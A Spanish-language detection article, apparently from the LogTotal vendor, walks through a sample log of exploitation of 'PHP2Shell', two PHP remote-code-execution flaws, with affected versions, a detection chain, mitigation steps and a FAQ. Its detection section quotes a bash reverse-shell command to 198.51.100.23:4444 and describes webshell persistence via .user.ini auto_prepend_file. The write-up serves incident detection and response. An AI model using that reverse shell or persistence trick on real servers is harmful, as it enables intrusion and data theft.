La detección de PHP2Shell es importante porque la ventana entre un parche y la explotación en el mundo real puede ser de un solo día. PHP2Shell es el nombre de dos fallos de ejecución de código remoto sin autenticación en el núcleo de PHP, CVE-2026-109618 y CVE-2026-109619, ambos calificados con CVSS v4.0 9.2. No se necesita autenticación, por lo que cualquier aplicación PHP expuesta en una versión sin parche es un objetivo. En el ejemplo a continuación, la explotación se manifiesta como un fallo del trabajador de PHP seguido de comandos ejecutándose como el usuario del servidor web.
Este artículo cubre la detección de PHP2Shell usando una muestra de registro analizada en LogTotal, una herramienta de análisis de registros que coincide con eventos con amenazas conocidas. A continuación, explicamos el contexto de la vulnerabilidad, de dónde provinieron los registros, qué encontró LogTotal y cómo responder.
Análisis de PHP2Shell
Ambas fallas de PHP2Shell puntúan 9.2 bajo CVSS v4.0, y ambas se pueden alcanzar sin autenticación en cualquier instalación de PHP que atienda solicitudes web. Para leer correctamente la muestra de registro, es útil saber cómo funciona cada fallo, qué tan rápido se desarrolló la divulgación y qué instalaciones están expuestas.
Detalles de la vulnerabilidad para PHP2Shell
Las dos CVE son errores separados de seguridad de memoria en cómo PHP maneja una solicitud. Cualquiera de ellas permite a un atacante ejecutar código como el usuario del servidor web.
- CVE-2026-109618, corrupción de memoria. Cuando PHP se queda sin memoria a mitad de configurar una solicitud, los datos internos quedan a medio construir, y el código de limpieza luego confía en ellos.
- CVE-2026-109619, estado global obsoleto. El estado interno sobrevive a la memoria de la solicitud a la que apunta, por lo que la próxima solicitud que recoja el mismo trabajador puede actuar sobre datos sobrantes.
Por esto es que la explotación aparece como errores de «Tamaño de memoria permitido… agotado» de PHP y fallos de trabajadores de PHP. Los escáneres públicos de PHP2Shell buscan las mismas señales.
Línea de tiempo de divulgación y explotación
| Fecha (2026) | Evento |
| 26 de octubre | CISA añadió CVE-2026-109618 a su catálogo KEV |
| 22 de octubre | Explotación en esta muestra registrada en web-prod-01 |
| 21 de octubre | PHP publicó versiones corregidas; watchTowr observó explotación en la naturaleza |
| 20 de octubre | Los detalles se filtraron en redes sociales antes de la divulgación planificada para el 22 de octubre; PHP anunció una versión de emergencia |
Investigadores de Calif encontraron las fallas y las reportaron a PHP. La filtración es la razón por la cual la cadena de LogTotal está titulada «Vulnerabilidades Críticas de PHP Filtradas». Código PoC público y marcos de explotación aparecieron en GitHub en pocos días, y un paquete de herramientas de investigación informa ejecución de comandos verificada como www-data en compilaciones desde PHP 7.4 hasta 8.4 por debajo de las versiones corregidas.
Qué sistemas afecta PHP2Shell
PHP enumera todas las versiones antes de 8.5.12, 8.4.27, 8.3.36 y 8.2.35 como vulnerables, y también están afectadas las ramas más antiguas.
| Rama de PHP | Afectada | Fix |
| 8.5.x | Por debajo de 8.5.12 | 8.5.12 |
| 8.4.x | Por debajo de 8.4.27 | 8.4.27 |
| 8.3.x | Por debajo de 8.3.36 | 8.3.36 |
| 8.2.x | Por debajo de 8.2.35 | 8.2.35 |
| 7.4, 8.0, 8.1 | Todas las versiones | Sin lanzamiento oficial; use un paquete de distribución o proveedor de LTS, los backports mínimos de fuentes de PHP, o actualice |
| 7.3 y anteriores, incluido PHP 5 | Todas las versiones | Sin corrección; actualice a una rama compatible |
Toda instalación de PHP que atienda solicitudes web está en el ámbito, ya sea que se ejecute bajo PHP-FPM, Apache mod_php, php-cgi, LiteSpeed o FrankenPHP. PHP califica el riesgo más alto para Apache mod_php, donde un ataque puede tener éxito antes de que cualquier código de aplicación se ejecute.
Fuente y recolección de registros
| Atributo | Valor |
| Archivo | PHP2Shell_sample.jsonl |
| Eventos | 6 |
| Anfitrión | web-prod-01 (servidor web de producción Linux) |
| Ventana de tiempo | 22 de octubre de 2026, 11:31:30 a 11:31:33 UTC (tres segundos) |
| Esquema | Estilo ECS (@timestamp, evento, host, proceso, archivo, usuario) |
El archivo combina dos fuentes en un esquema:
- 2 líneas de texto plano del tiempo de ejecución de PHP y el registro de errores de PHP-FPM
- 4 eventos (archivo y proceso), normalizados a ECS
La mezcla es típica de lo que llega a un SIEM en la práctica: registros de errores de aplicaciones junto a telemetría EDR.
Detectar PHP2Shell
LogTotal procesó 6 líneas en 4,2 segundos, coincidió 9 reglas contra 4 líneas y formó una cadena en web-prod-01: PHP2Shell, Vulnerabilidades Críticas de PHP Filtradas (CVE-2026-109618 & CVE-2026-109619), Crítico, 100% coincidencia, 3 reglas disparadas.
| Campo de veredicto | Resultado |
| Veredicto | Sospechoso, necesita investigación |
| Severidad | Crítica |
| Confianza | Media |
Cómo se desarrolla la cadena de PHP2Shell
La cadena sigue la explotación en tres pasos, todos dentro de tres segundos.
- Cae. La regla «Intento de Explotación Posible CVE-2026-109618 / CVE-2026-109619 – Agotamiento de Memoria de PHP / Falla del Trabajador de PHP» coincidió con un error fatal de «Tamaño de memoria permitido… agotado» de PHP y el niño 1201 de PHP-FPM muriendo por SIGSEGV. Estos son las mismas señales de fallas que buscan los escáneres públicos de PHP2Shell.
- Shell del trabajador web. «Spawn de Procesos Inusuales Posible del Trabajador de PHP» y «Shell Sospechoso a través de Servidor Web [Linux]» captaron php-fpm, ejecutándose como www-data, generando sh -c bash /dev/shm/.s. El script se preparó en /dev/shm con respaldo en RAM.
- Shell inversa. «Posible Exfiltración de Datos / Shell Inversa vía Bash» coincidió bash -i >& /dev/tcp/198.51.100.23/4444 0>&1. Fuera de la cadena, cuatro reglas más afectaron el mismo comando, lideradas por el Indicador de Shell Inversa de Linux (Crítico).
Uso de los hallazgos de LogTotal en el triaje de PHP2Shell
La cadena da el orden de los eventos y la severidad en una pantalla. Los eventos en crudo dan los IOC para bloquear y la persistencia a eliminar. Use ambos: confirme los tres pasos de la cadena, luego revise los eventos de archivo y las líneas de comando para encontrar IOC y persistencia.
Mitigación de PHP2Shell
La corrección definitiva para PHP2Shell es una versión corregida de PHP, y PHP afirma que ningún cambio de configuración mitiga completamente estos fallos. En un servidor que ya ha sido explotado, simplemente parchear no es suficiente: la webshell y .user.ini persisten a través de una actualización de PHP.
Parchea cada instalación de PHP
- Haz un inventario de cada servidor y aplicación que ejecute PHP, comenzando con sistemas orientados a internet y cualquiera que ejecute PHP como un módulo de Apache.
- Actualiza cada instalación a 8.5.12, 8.4.27, 8.3.36, o 8.2.35, coincidiendo con su rama. Las distribuciones de Linux recibieron los parches antes del lanzamiento, por lo que verifica si hay paquetes de distribución actualizados.
- Reinicia cada trabajador de PHP para que la corrección tenga efecto.
- Para PHP 7.4, 8.0, y 8.1, usa un paquete de distribución o proveedor de LTS o los backports mínimos de fuentes de PHP, o actualiza. PHP 7.3 y anteriores no tienen corrección.
- Restringe el acceso a internet a cualquier sistema PHP que no puedas actualizar de inmediato.
Los rastreadores comunitarios también informan CVE-2026-115560, un vector separado, dependiente de la configuración de carga de progreso de sesión, cubierto por un anuncio informativo de PHP el 23 de octubre de 2026. No es parte de PHP2Shell y se dejó para una versión posterior; la recomendación interina es session.upload_progress.enabled = 0.
Respuesta recomendada de LogTotal
- Aísla web-prod-01.
- Conserva sus registros web, de sistema y de red.
- Investiga el destino de shell inversa.
- Verifica la versión y parches de PHP.
- Alerta sobre futuros fallos de trabajadores PHP y generación de shell.
Pasos adicionales a partir de la evidencia en bruto
- Bloquea la salida a 198.51.100.23:4444.
- Conserva la evidencia antes de la limpieza: copia uploads/.cache.php, .user.ini, y /dev/shm/.s. Los archivos en /dev/shm se pierden al reiniciar.
- Elimina persistencia. Elimina la directiva auto_prepend_file, o mejor, reconstruye el host en una versión de PHP corregida.
- Rota cada secreto que www-data pueda leer, como credenciales de base de datos y claves API en la configuración de la aplicación.
- Busca en la flota web para:
- archivos .user.ini que contengan auto_prepend_file
- archivos PHP ocultos en carpetas de carga
- shells generados por php-fpm, php-cgi, apache2, o httpd
Monitoreo continuo de PHP2Shell
Mantén los registros de errores de PHP y PHP-FPM fluyendo hacia tu SIEM junto con la telemetría EDR. En esta muestra, las líneas de fallo fueron la primera señal y los eventos de archivo EDR contenían la persistencia. Cualquiera de las fuentes por sí sola habría contado solo la mitad de la historia.
FAQ
¿Qué es PHP2Shell y cómo funciona?
PHP2Shell son dos fallos de ejecución de código remoto sin autenticación en el núcleo de PHP: CVE-2026-109618 (corrupción de memoria) y CVE-2026-109619 (estado global obsoleto), ambos calificados con CVSS v4.0 9.2. Cualquiera permite a un atacante ejecutar código como el usuario del servidor web. La sección de análisis anterior explica cómo funciona cada uno.
¿Cuándo se descubrió PHP2Shell por primera vez?
Investigadores en Calif reportaron los fallos a PHP. Los detalles se filtraron el 20 de octubre de 2026, y PHP envió correcciones el 21 de octubre, un día antes de la divulgación planificada.
¿Qué versiones de PHP afecta PHP2Shell?
Todas las versiones antes de 8.5.12, 8.4.27, 8.3.36 y 8.2.35, además de todas las de PHP 7.4, 8.0, 8.1 y ramas más antiguas, incluido PHP 5. Cualquier instalación de PHP que atienda solicitudes web está en el ámbito, con Apache mod_php en el riesgo más alto.
¿Cuál es el impacto de PHP2Shell en los sistemas?
Un atacante sin autenticación puede ejecutar código como el usuario del servidor web. En este ejemplo, eso llevó a un shell inverso a 198.51.100.23:4444 y una webshell oculta cargada en cada solicitud de PHP a través de .user.ini. Cualquier secreto legible por www-data debe ser tratado como expuesto.
¿Puede PHP2Shell aún afectarme en 2026?
Sí. PHP2Shell está siendo explotado en la naturaleza y está listado en el catálogo KEV de CISA. Los servidores sin parchear, las ramas sin soporte de vida útil sin un backport y los servidores comprometidos cuya persistencia del webshell nunca fue eliminada siguen en riesgo.
¿Cómo puedo protegerme de PHP2Shell?
Actualiza a una versión de PHP corregida y reinicia cada trabajador de PHP; ningún cambio de configuración mitiga completamente PHP2Shell. Luego restringe la salida del servidor web, rota secretos legibles por el usuario del servidor web y audita carpetas de subida y archivos .user.ini para encontrar persistencia. La sección de mitigación enumera los pasos completos.
¿Cómo puedo detectar PHP2Shell?
Recolecta registros de errores de PHP y PHP-FPM junto con eventos de proceso y archivo EDR. Alerta sobre agotamiento de memoria de PHP y fallos de trabajadores, shells generados por php-fpm, php-cgi, apache2, o httpd, y nuevos archivos .user.ini con auto_prepend_file. Ejecutar una exportación a través de LogTotal mapea estos eventos a la cadena de PHP2Shell y muestra el orden del ataque en una sola vista.